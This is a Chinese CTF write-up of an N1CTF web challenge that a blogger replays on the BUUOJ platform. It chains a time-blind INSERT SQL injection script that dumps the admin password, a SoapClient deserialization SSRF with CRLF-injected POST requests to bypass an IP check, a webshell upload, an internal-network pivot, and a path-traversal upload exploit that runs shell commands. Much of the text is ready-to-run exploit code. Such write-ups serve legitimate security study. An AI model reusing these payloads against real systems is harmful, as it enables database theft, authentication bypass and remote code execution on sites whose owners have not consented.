虽然是N1CTF原题,但是自己没遇见过,还是做的题少,记录一下吧==
1.源码泄露,直接可以下到所有源码,然后代码审计到一处insert型注入:
这里直接带入insert里面,跟进去看看
insert函数对values进行正则替换,先调用get_columnsp
这里把数组分成以` , `连接的字符串并且以`反引号包在内,而正则则是匹配字符串中所有反引号之间的内容,将其取出放到两个单引号里面,要是一下子看不出来其实可以把这一两个函数挑出来单独测试一下:
<?php
function get_column($columns){ if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` '; return $column;
}
$a=['a','b'];
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($a)).')';
echo $value;
如果我们按常规的insert注入a' or sleep(5),3)#那么此时values最终为:
可以看到此时values形式明显出现了错误,因为此时我们注入了一个逗号,那么正则中`([^`,])`意思是匹配两个反引号之间除了反引号和逗号之外的所有字符,要是没有逗号,此时正好闭合前面的‘ 但单引号,所以在注入逗号的同时我们还要让`反引号变为单引号来闭合,我们可以注入反引号,从而`b` ,替换后就为'b',此时就能闭合,并且可以使用单引号,那么后面延时注入就ok了。
可以通过burp直接看到延时效果,那么后面脚本直接上就行,比赛的时候用的国外服务器,我的网速太卡,延时没跑出来,就算语句正确也有好几秒的延时,体验很差劲==
然后直接脚本跑就行:
#coding:utf-8
import string
import binascii
import requests
import re
payloads = "0123456789abcdef"
url = "http://web69.buuoj.cn/index.php?action=publish"
cookie={"PHPSESSID":"dru7esue1432fnpta7behviqc1"} inject = requests.session()
password=""
def dump_flag():
password=""
for i in range(1,33):
for payload in payloads:
ch = ord(payload)
data = {
"signature": "111`,3),(if(ascii(substring((select password from ctf_users where username=0x61646d696e),"+str(i)+",1))="+str(ch)+",sleep(5),0),3,4,5)#",
"mood": 0
}
try:
a = inject.post(url=url,data=data,cookies=cookie,timeout=2)
#print(data)
except:
password = password + payload
print(password)
break dump_flag()
buu平台有waf所以一跑就有验证码,跑出来密码还是jaivypassword
但是此时显示无法登录,ip地址有限制,回去看看源码:
这里是获得remote_addr来进行判断,所以必须找到一处ssrf来
从而完成登录,这里注意到其实还有一处反序列化漏洞:
虽然将mood参数转int并addshalshes了,但是后面mood参数在可以注入的signnature参数后面,所以可以通过注入将其直接注释掉,来注入一个我们的恶意序列化对象,这里因为要ssrf,并且源代码里面没有可以直接进行ssrf的类,因此选择soapclinet类来进行ssrf,因为是内置类,所以用起来也方便,那么soapclient发送网络请求的一个条件就是,必须调用不存在的方法,从而触发其__call方法来发送网络请求,比如这里
明显符合触发条件,所以直接构造即可:
原始exp,这个是一般测试,可以在其中直接根据我们的情况进行修改,这里要关注源码:
<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa); $c=unserialize(urldecode($aaa));
$c->ss(); //调用_call方法触发网络请求发送
?>
因为要请求的login功能,所以我们要post admin的username和password以及验证码,同时要加上自己的cookie,用于在ssrf以后用此cookie登录admin
<?php
$target = 'http://web69.buuoj.cn/index.php?action=login';
$post_string = 'username=admiin&password=jaivypassword&code=(自己的验证码)';
$headers = array(
'Cookie: PHPSESSID=1234' #(未登录的cookie,便于以admin身份进行登陆)
);
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa); echo $aaa;
?>
登陆以后就上传shell,shell传到了/app/upload/
这里我还傻逼了,一位/app是个绝对路径,实际上app就是当前网站路径,==,我擦,那么直接访问upload就能访问到shell。
之后内网还有一个.2的ip,也是一道原题,对其可以直接ew正向代理进去,然后在/etc/下就能找到flag,最快的当然是执行find /etc/ -name "*flag*",我看师傅们都上shell然后用蚁剑,还挺方便直接扫内网存活端口,还支持curl,唉 win 真辣鸡,过几天在虚拟机也要学学它,内网的题目绕过方法在我另一篇文件操作里面已经说过了,就不说了,原题链接wp:https://blog.cindemor.com/post/ctf-web-12.html
放个exp:
import requests
url = "http://172.16.54.2/index.php"
files=[('file',('shell.php',"@<?php system('find /etc -name \'*flag*\'');var_dump('1');"))]
data={"file[1]":"","file[0]":"xxx/../tr1ple_v1.php","hello":"tr1ple_v1.php"}
r = requests.post(url=url, data=data,files=files)
print(r.content)
这里glizjin师傅的php exp也可以,直接用curl来发post包
<?php $curl = curl_init(); curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.16.54.2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
)); $response = curl_exec($curl);
$err = curl_error($curl); curl_close($curl); if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
总结:
一眼看不出来函数的处理结果及函数的功能就把它单独提出来测试来bypass